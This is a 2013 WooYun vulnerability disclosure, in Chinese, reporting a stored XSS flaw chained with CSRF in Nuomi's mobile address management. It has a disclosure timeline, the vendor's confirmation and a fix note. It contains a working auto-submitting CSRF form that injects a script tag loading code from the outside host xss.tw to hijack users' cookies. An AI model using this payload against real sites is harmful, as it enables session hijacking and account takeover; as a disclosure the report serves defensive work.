当前位置：WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号：wooyun-2013-031874

漏洞标题：糯米网某处持久性xss和csrf(结合可劫持用户cookie)

相关厂商：糯米网

漏洞作者： xfkxfk

提交时间：2013-07-23 11:51

修复时间：2013-09-06 11:52

公开时间：2013-09-06 11:52

漏洞类型：CSRF

危害等级：中

自评Rank：10

漏洞状态：厂商已经确认

漏洞来源： http://www.wooyun.org，如有疑问或需要帮助请联系 [email protected]

Tags标签： 无

4人收藏 收藏
分享漏洞：

漏洞详情

披露状态：

2013-07-23： 细节已通知厂商并且等待厂商处理中
2013-07-23： 厂商已经确认，细节仅向厂商公开
2013-08-02： 细节向核心白帽子及相关领域专家公开
2013-08-12： 细节向普通白帽子公开
2013-08-22： 细节向实习白帽子公开
2013-09-06： 细节向公众公开

简要描述：

糯米网某处xss和csrf,可劫持用户cookie

详细说明：

第一处xss在用户地址管理中，详细地址没有做过滤，导致xss，而且在增加地址时存在csrf，所以可以结合，达到劫持用户cookies的效果。
首先用户xxxxxx没有地址信息：

1.png


然后随便增加一个地址，截断抓包，看看增加地址的请求如下：

2.png


然后我们构造如下POC：

<html>
<body>
<form id="xfkxfk" name="xfkxfk" action="http://m.nuomi.com/user/address/save?areaId=1000010000" method="POST">
<input type="text" name="tinyurl" value="" />
<input type="text" name="name" value="222222" />
<input type="text" name="mobile" value="13122222222" />
<input type="text" name="areaCode" value="101101101101" />
<input type="text" name="address" value="xfkxfk<script src=http://xss.tw/2644></script>" />
<input type="text" name="postCode" value="222222" />
<input type="submit" value="submit">
</form>
<script>
   document.xfkxfk.submit();
</script>
</body>
</html>


在本地打开如下：

3-0.png


然后返回界面，查看是否添加地址成功：

3.png


至此我们已经成功添加了地址信息，并打开地址管理就会出发xss。
虽然这里的xss只能是x到自己，但是结合上述csrf就可以劫持其他任意用户cookie了。

4.png

漏洞证明：

见详细说明

修复方案：

过滤，加token，判断referer等等

版权声明：转载请注明来源 xfkxfk@乌云

漏洞回应

厂商回应：

危害等级：中

漏洞Rank：6

确认时间：2013-07-23 14:27

厂商回复：

谢谢您对糯米安全的关注，我们会尽快修复。

最新状态：

2013-09-06：已经修复